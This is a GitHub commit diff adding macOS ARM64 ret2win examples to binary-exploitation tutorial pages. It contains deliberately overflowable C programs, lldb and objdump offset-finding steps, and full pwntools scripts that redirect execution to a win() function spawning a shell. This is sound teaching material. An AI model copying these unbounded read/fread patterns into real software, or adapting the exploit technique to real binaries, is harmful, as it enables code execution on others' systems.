Skip to content

Commit 59a83a0

Browse files
committed
new macos exploiting examples
1 parent 97f857b commit 59a83a0

2 files changed

Lines changed: 300 additions & 8 deletions

File tree

src/binary-exploitation/stack-overflow/ret2win/ret2win-arm64.md

Lines changed: 284 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -201,7 +201,286 @@ print(p.recvline())
201201
p.close()
202202
```
203203

204-
### Notes on modern AArch64 hardening (PAC/BTI) and ret2win
204+
## macOS
205+
206+
### Code
207+
208+
```c
209+
#include <stdio.h>
210+
#include <unistd.h>
211+
#include <stdlib.h>
212+
213+
__attribute__((noinline))
214+
void win(void) {
215+
system("/bin/sh"); // <- **our target**
216+
}
217+
218+
void vulnerable_function(void) {
219+
char buffer[64];
220+
// **BOF**: reading 256 bytes into a 64B stack buffer
221+
read(STDIN_FILENO, buffer, 256);
222+
}
223+
224+
int main(void) {
225+
printf("win() is at %p\n", win);
226+
vulnerable_function();
227+
return 0;
228+
}
229+
```
230+
231+
Compile without canary (in macOS you can't disable PIE):
232+
233+
```bash
234+
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
235+
```
236+
237+
Execute without ASLR (although as we have an address leak, we don't need it):
238+
239+
```bash
240+
env DYLD_DISABLE_ASLR=1 ./bof_macos
241+
```
242+
243+
> [!TIP]
244+
> It's not possible to disable NX in macOS because in arm64 this mode is implemented at hardware level so you can't disable it, so you won't be finding examples with shellcode in stack in macOS.
245+
246+
### Find the offset
247+
248+
- Generate a pattern:
249+
250+
```bash
251+
python3 - << 'PY'
252+
from pwn import *
253+
print(cyclic(200).decode())
254+
PY
255+
```
256+
257+
- Run the program and input the pattern to cause a crash:
258+
259+
```bash
260+
lldb ./bof_macos
261+
(lldb) env DYLD_DISABLE_ASLR=1
262+
(lldb) run
263+
# paste the 200-byte cyclic string, press Enter
264+
```
265+
266+
- Check register `x30` (the return address) to find the offset:
267+
268+
```bash
269+
(lldb) register read x30
270+
```
271+
272+
- Use `cyclic -l <value>` to find the exact offset:
273+
274+
```bash
275+
python3 - << 'PY'
276+
from pwn import *
277+
print(cyclic_find(0x61616173))
278+
PY
279+
280+
# Replace 0x61616173 with the 4 first bytes from the value of x30
281+
```
282+
283+
- Thats how I found the offset `72`, putting in that offset the address of `win()` function you can execute that function and get a shell (running without ASLR).
284+
285+
### Exploit
286+
287+
```python
288+
#!/usr/bin/env python3
289+
from pwn import *
290+
import re
291+
292+
# Load the binary
293+
binary_name = './bof_macos'
294+
295+
# Start the process
296+
p = process(binary_name, env={"DYLD_DISABLE_ASLR": "1"})
297+
298+
# Read the address printed by the program
299+
output = p.recvline().decode()
300+
print(f"Received: {output.strip()}")
301+
302+
# Extract the win() address using regex
303+
match = re.search(r'win\(\) is at (0x[0-9a-fA-F]+)', output)
304+
if not match:
305+
print("Failed to extract win() address")
306+
p.close()
307+
exit(1)
308+
309+
win_address = int(match.group(1), 16)
310+
print(f"Extracted win() address: {hex(win_address)}")
311+
312+
# Offset calculation:
313+
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
314+
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
315+
offset = 64 + 8 # 72 bytes total to reach the return address
316+
317+
# Craft the payload - ARM64 addresses are 8 bytes
318+
payload = b'A' * offset + p64(win_address)
319+
print(f"Payload length: {len(payload)}")
320+
321+
# Send the payload
322+
p.send(payload)
323+
324+
# Drop to an interactive session
325+
p.interactive()
326+
```
327+
328+
## macOS - 2nd example
329+
330+
```c
331+
#include <stdio.h>
332+
#include <stdlib.h>
333+
#include <string.h>
334+
#include <unistd.h>
335+
336+
__attribute__((noinline))
337+
void leak_anchor(void) {
338+
puts("leak_anchor reached");
339+
}
340+
341+
__attribute__((noinline))
342+
void win(void) {
343+
puts("Killed it!");
344+
system("/bin/sh");
345+
exit(0);
346+
}
347+
348+
__attribute__((noinline))
349+
void vuln(void) {
350+
char buf[64];
351+
FILE *f = fopen("/tmp/exploit.txt", "rb");
352+
if (!f) {
353+
puts("[*] Please create /tmp/exploit.txt with your payload");
354+
return;
355+
}
356+
// Vulnerability: no bounds check → stack overflow
357+
fread(buf, 1, 512, f);
358+
fclose(f);
359+
printf("[*] Copied payload from /tmp/exploit.txt\n");
360+
}
361+
362+
int main(void) {
363+
// Unbuffered stdout so leaks are immediate
364+
setvbuf(stdout, NULL, _IONBF, 0);
365+
366+
// Leak a different function, not main/win
367+
printf("[*] LEAK (leak_anchor): %p\n", (void*)&leak_anchor);
368+
369+
// Sleep 3s
370+
sleep(3);
371+
372+
vuln();
373+
return 0;
374+
}
375+
```
376+
377+
Compile without canary (in macOS you can't disable PIE):
378+
379+
```bash
380+
clang -o bof_macos bof_macos.c -fno-stack-protector -Wno-format-security
381+
```
382+
383+
### Find the offset
384+
385+
- Generate a pattern into the file `/tmp/exploit.txt`:
386+
387+
```bash
388+
python3 - << 'PY'
389+
from pwn import *
390+
with open("/tmp/exploit.txt", "wb") as f:
391+
f.write(cyclic(200))
392+
PY
393+
```
394+
395+
- Run the program to cause a crash:
396+
397+
```bash
398+
lldb ./bof_macos
399+
(lldb) run
400+
```
401+
402+
- Check register `x30` (the return address) to find the offset:
403+
404+
```bash
405+
(lldb) register read x30
406+
```
407+
408+
- Use `cyclic -l <value>` to find the exact offset:
409+
410+
```bash
411+
python3 - << 'PY'
412+
from pwn import *
413+
print(cyclic_find(0x61616173))
414+
PY
415+
# Replace 0x61616173 with the 4 first bytes from the value of x30
416+
```
417+
418+
- Thats how I found the offset `72`, putting in that offset the address of `win()` function you can execute that function and get a shell (running without ASLR).
419+
420+
### Calculate the address of win()
421+
422+
- The binary is PIE, using the leak of `leak_anchor()` function and knowing the offset of `win()` function from `leak_anchor()` function we can calculate the address of `win()` function.
423+
424+
```bash
425+
objdump -d bof_macos | grep -E 'leak_anchor|win'
426+
427+
0000000100000460 <_leak_anchor>:
428+
000000010000047c <_win>:
429+
```
430+
431+
- The offset is `0x47c - 0x460 = 0x1c`
432+
433+
### Exploit
434+
435+
```python
436+
#!/usr/bin/env python3
437+
from pwn import *
438+
import re
439+
import os
440+
441+
# Load the binary
442+
binary_name = './bof_macos'
443+
# Start the process
444+
p = process(binary_name)
445+
446+
# Read the address printed by the program
447+
output = p.recvline().decode()
448+
print(f"Received: {output.strip()}")
449+
450+
# Extract the leak_anchor() address using regex
451+
match = re.search(r'LEAK \(leak_anchor\): (0x[0-9a-fA-F]+)', output)
452+
if not match:
453+
print("Failed to extract leak_anchor() address")
454+
p.close()
455+
exit(1)
456+
leak_anchor_address = int(match.group(1), 16)
457+
print(f"Extracted leak_anchor() address: {hex(leak_anchor_address)}")
458+
459+
# Calculate win() address
460+
win_address = leak_anchor_address + 0x1c
461+
print(f"Calculated win() address: {hex(win_address)}")
462+
463+
# Offset calculation:
464+
# Buffer starts at sp, return address at sp+0x40 (64 bytes)
465+
# We need to fill 64 bytes, then overwrite the saved x29 (8 bytes), then x30 (8 bytes)
466+
offset = 64 + 8 # 72 bytes total to reach the return address
467+
468+
# Craft the payload - ARM64 addresses are 8 bytes
469+
payload = b'A' * offset + p64(win_address)
470+
print(f"Payload length: {len(payload)}")
471+
472+
# Write the payload to /tmp/exploit.txt
473+
with open("/tmp/exploit.txt", "wb") as f:
474+
f.write(payload)
475+
476+
print("[*] Payload written to /tmp/exploit.txt")
477+
478+
# Drop to an interactive session
479+
p.interactive()
480+
```
481+
482+
483+
## Notes on modern AArch64 hardening (PAC/BTI) and ret2win
205484

206485
- If the binary is compiled with AArch64 Branch Protection, you may see `paciasp`/`autiasp` or `bti c` emitted in function prologues/epilogues. In that case:
207486
- Returning to an address that is not a valid BTI landing pad may raise a `SIGILL`. Prefer targeting the exact function entry that contains `bti c`.
@@ -210,7 +489,7 @@ p.close()
210489
- `readelf --notes -W ./ret2win` and look for `AARCH64_FEATURE_1_BTI` / `AARCH64_FEATURE_1_PAC` notes.
211490
- `objdump -d ./ret2win | head -n 40` and look for `bti c`, `paciasp`, `autiasp`.
212491

213-
### Running on non‑ARM64 hosts (qemu‑user quick tip)
492+
## Running on non‑ARM64 hosts (qemu‑user quick tip)
214493

215494
If you are on x86_64 but want to practice AArch64:
216495

@@ -229,11 +508,12 @@ gdb-multiarch ./ret2win -ex 'target remote :1234'
229508

230509
### Related HackTricks pages
231510

232-
-
511+
233512
{{#ref}}
234513
../../rop-return-oriented-programing/rop-syscall-execv/ret2syscall-arm64.md
235514
{{#endref}}
236-
-
515+
516+
237517
{{#ref}}
238518
../../rop-return-oriented-programing/ret2lib/ret2lib-+-printf-leak-arm64.md
239519
{{#endref}}

src/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md

Lines changed: 16 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -4,12 +4,13 @@
44

55
Find an introduction to arm64 in:
66

7-
87
{{#ref}}
98
../../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md
109
{{#endref}}
1110

12-
## Code
11+
## Linux
12+
13+
### Code
1314

1415
```c
1516
#include <stdio.h>
@@ -32,7 +33,7 @@ Compile without pie, canary and nx:
3233
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
3334
```
3435

35-
## No ASLR & No canary - Stack Overflow
36+
### No ASLR & No canary - Stack Overflow
3637

3738
To stop ASLR execute:
3839

@@ -79,6 +80,17 @@ The only "complicated" thing to find here would be the address in the stack to c
7980

8081
I opened the generated **`core` file** (`gdb ./bog ./core`) and checked the real address of the start of the shellcode.
8182

82-
{{#include ../../../banners/hacktricks-training.md}}
8383

84+
## macOS
85+
86+
> [!TIP]
87+
> It's not possible to disable NX in macOS because in arm64 this mode is implemented at hardware level so you can't disable it, so you won't be finding examples with shellcode in stack in macOS.
88+
89+
Check a macOS ret2win example in:
8490

91+
{{#ref}}
92+
../ret2win/ret2win-arm64.md
93+
{{#endref}}
94+
95+
96+
{{#include ../../../banners/hacktricks-training.md}}

0 commit comments

Comments
 (0)